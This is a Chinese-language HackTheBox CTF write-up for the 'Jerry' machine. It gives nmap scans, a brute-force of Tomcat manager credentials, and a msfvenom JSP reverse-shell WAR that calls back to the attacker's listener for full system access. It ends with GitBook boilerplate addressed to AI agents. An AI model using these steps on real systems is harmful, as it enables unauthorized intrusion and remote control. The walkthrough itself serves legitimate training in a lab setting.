> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Jerry HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露
* 利用 Tomcat（入侵与权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/06ed83cab17d0fa45670853c363b089fa550723e" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/d7cab3a7b3615e6b7875982712c8d1cdbe03d864" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/b2993941dcf9eae454c26567679e8be229410cad" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/ff816d7167308736e6cb700664f25da933d83a93" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/35866001b659215ab08f10c749b948f33476cfa0" alt=""><figcaption></figcaption></figure>

## 8080 端口 - Tomcat

8080 端口运行着一个服务器 **Apache Tomcat**。使用 `whatweb` 显示了 **7.0.88** 版本，已知存在漏洞。

<div data-full-width="true"><figure><img src="/files/d1208e1f5ad7137c50d6beb61b786155c9ae3d91" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/da8f304dac6e091c68cff5e04ddc669f20d07f82" alt=""><figcaption></figcaption></figure>

### 信息泄露

**连接到管理面板**

<figure><img src="/files/8807f1ba809633da9d2531c3b3b763a8979eef11" alt=""><figcaption></figcaption></figure>

我们尝试访问 `/manager/html` 使用默认凭据访问该面板（例如 `admin:admin`），但这并不成功。

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* 对标识符/进行暴力破解攻&#x51FB;*/*

我们使用 SecLists `tomcat-betterdefaultpasslist.txt` 字典对凭据进行暴力破解攻击：

为自动化此任务，我们使用一个 Python 脚本：

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**结果：** 找到的有效凭据为：/ `tomcat:s3cret`

<figure><img src="/files/35ed467e507149b7c5ebf517aff783127de500ac" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/86b1d85e1f2662e87e28510847cd8a482ccb028f" alt=""><figcaption></figcaption></figure>

### Tomcat 漏洞：

**1. 生成 WAR 文件：**/ 我们使用 `msfvenom` 创建一个包含反向 shell 的 WAR 文件：

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/228b3889e11e7fcb3aa718870abac976f12e6d0e" alt=""><figcaption></figcaption></figure>

**2. 通过 Tomcat Manager 部署：**/ 我们将 WAR 文件上传到 `/manager/html` 面板。

<figure><img src="/files/6b49c672f228bdc7adf5a9e60f1d0f2f520c1989" alt="" width="563"><figcaption></figcaption></figure>

**3. 监听反向 Shell：**/ 我们设置一个监听器来捕获反向连接：

```bash
rlwrap nc -nlvp 443
```

通过运行已部署的文件（`/reverse`），我们就在目标机器上获得一个交互式 shell。

<figure><img src="/files/c142733adb1bcf35be27662993bcad4aafd1d20a" alt=""><figcaption></figcaption></figure>

### 拿到 user.txt + root.txt 标志 :)

<figure><img src="/files/909747fd2d6518d1f77ee204f6dff5cc5df8ef15" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7665bc6089da851451165d3879c98fa545302834" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
